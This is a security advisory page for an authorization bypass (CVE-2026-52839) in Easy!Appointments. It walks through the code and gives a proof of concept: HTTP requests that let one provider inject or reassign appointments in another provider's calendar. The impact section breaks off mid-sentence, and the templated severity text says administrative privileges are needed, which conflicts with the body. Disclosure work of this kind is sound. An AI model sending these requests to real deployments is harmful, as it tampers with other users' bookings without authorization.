🛡️ CVE-2026-52839 — easyappointments
Description
Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection — Authorization Bypass
Summary
Easy!Appointments correctly filters provider-scoped appointments in the appointments/search response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints appointments/store and appointments/update only check generic appointment privileges and never verify that the submitted id_users_provider belongs to the current session.
A normal authenticated provider can inject new appointments into another provider's schedule via store, or reassign existing appointments into a foreign provider's calendar via update. The store path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.
Root Cause — Step by Step Code Flow
Step 1 — Search correctly enforces provider isolation
The search endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary:
```php
// Appointments.php
if ($role_slug === DB_SLUG_PROVIDER) {
foreach ($appointments as $index => $appointment) {
if ((int) $appointment['id_users_provider'] !== (int) $user_id) {
unset($appointments[$index]);
}
}
}
```
Step 2 — store() only checks generic add permission
The store endpoint checks only whether the caller can add appointments in general — no provider ownership check:
```php
// Appointments.php line 74-152
if (cannot('add', PRIV_APPOINTMENTS)) {
abort(403, 'Forbidden');
}
$appointment = json_decode(request('appointment'), true);
```
Step 3 — Attacker-controlled id_users_provider saved directly
The controller whitelists and persists the appointment including the attacker-controlled provider ID:
```php
$this->appointments_model->only($appointment, $this->allowed_appointment_fields);
$appointment_id = $this->appointments_model->save($appointment);
```
No check is performed to verify id_users_provider matches the current session.
Step 4 — Write-before-crash on store()
After the unauthorized row is committed, the controller crashes on a type error:
```php
$appointment = $this->appointments_model->find($appointment); // array passed instead of $appointment_id
```
The attacker receives a 500 error response, but the foreign appointment row is already in the database.
Step 5 — update() has the same missing ownership check
The update endpoint also accepts attacker-controlled id_users_provider with only a generic edit permission check:
```php
// Appointments.php line 178-196
if (cannot('edit', PRIV_APPOINTMENTS)) {
abort(403, 'Forbidden');
}
$appointment = json_decode(request('appointment'), true);
$appointment_id = $this->appointments_model->save($appointment);
```
A provider can reassign any appointment they can edit into a foreign provider's calendar.
Proof of Concept
Attacker: Provider with session ID 4
Target: Foreign provider with ID 2
Step 1 — Inject appointment into foreign provider's schedule:
```http
POST /index.php/appointments/store HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
csrf_token=<token>&appointment={"start_datetime":"2026-05-29 15:00:00","end_datetime":"2026-05-29 15:30:00","notes":"foreign provider create by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}
```
Response: 500 Internal Server Error — type error on find()
But the row is committed:
```
id start_datetime id_users_provider notes
6 2026-05-29 15:00:00 2 foreign provider create by alicer
```
Provider 4 created a row that belongs to provider 2.
Step 2 — Reassign existing appointment to foreign provider:
```http
POST /index.php/appointments/update HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
csrf_token=<token>&appointment={"id":7,"start_datetime":"2026-05-30 09:00:00","end_datetime":"2026-05-30 09:30:00","notes":"reassigned to provider 2 by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}
```
Response: 200 OK
Result: Appointment 7 now belongs to provider 2 instead of provider 4.
Runtime verification result:
```
attacker provider id: 4
foreign created appointment provider id: 2
reassigned appointment provider id: 2
provider-visible appointments: 0
PASS
```
The attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider.
Real World Impact
In a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can:
- Inject fake a
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is high, an attacker needs administrative privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity low, availability none.
Weakness class
CVE-2026-52839 is classified as CWE-639: Authorization Bypass Through User-Controlled Key. An object is selected by an identifier from the request without checking the caller owns it.
Affected software
CVE-2026-52839 is recorded against 2 packages.
- alextselegidis/easyappointments (fixed in 1.6.0)
- unknown
Timeline and source
Published on 29 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)
Details
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| alextselegidis/easyappointments | — | 1.6.0 |
| unknown | — | — |
Similar Threats
- Unknown CVE-2026-52837
- Low CVE-2026-52838
- Low CVE-2026-52840
- Low CVE-2026-52841
- High CVE-2026-55651
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Free Vulnerability Check
Is your site affected by CVE-2026-52839?
BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2026-52839 and other known CVE records.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.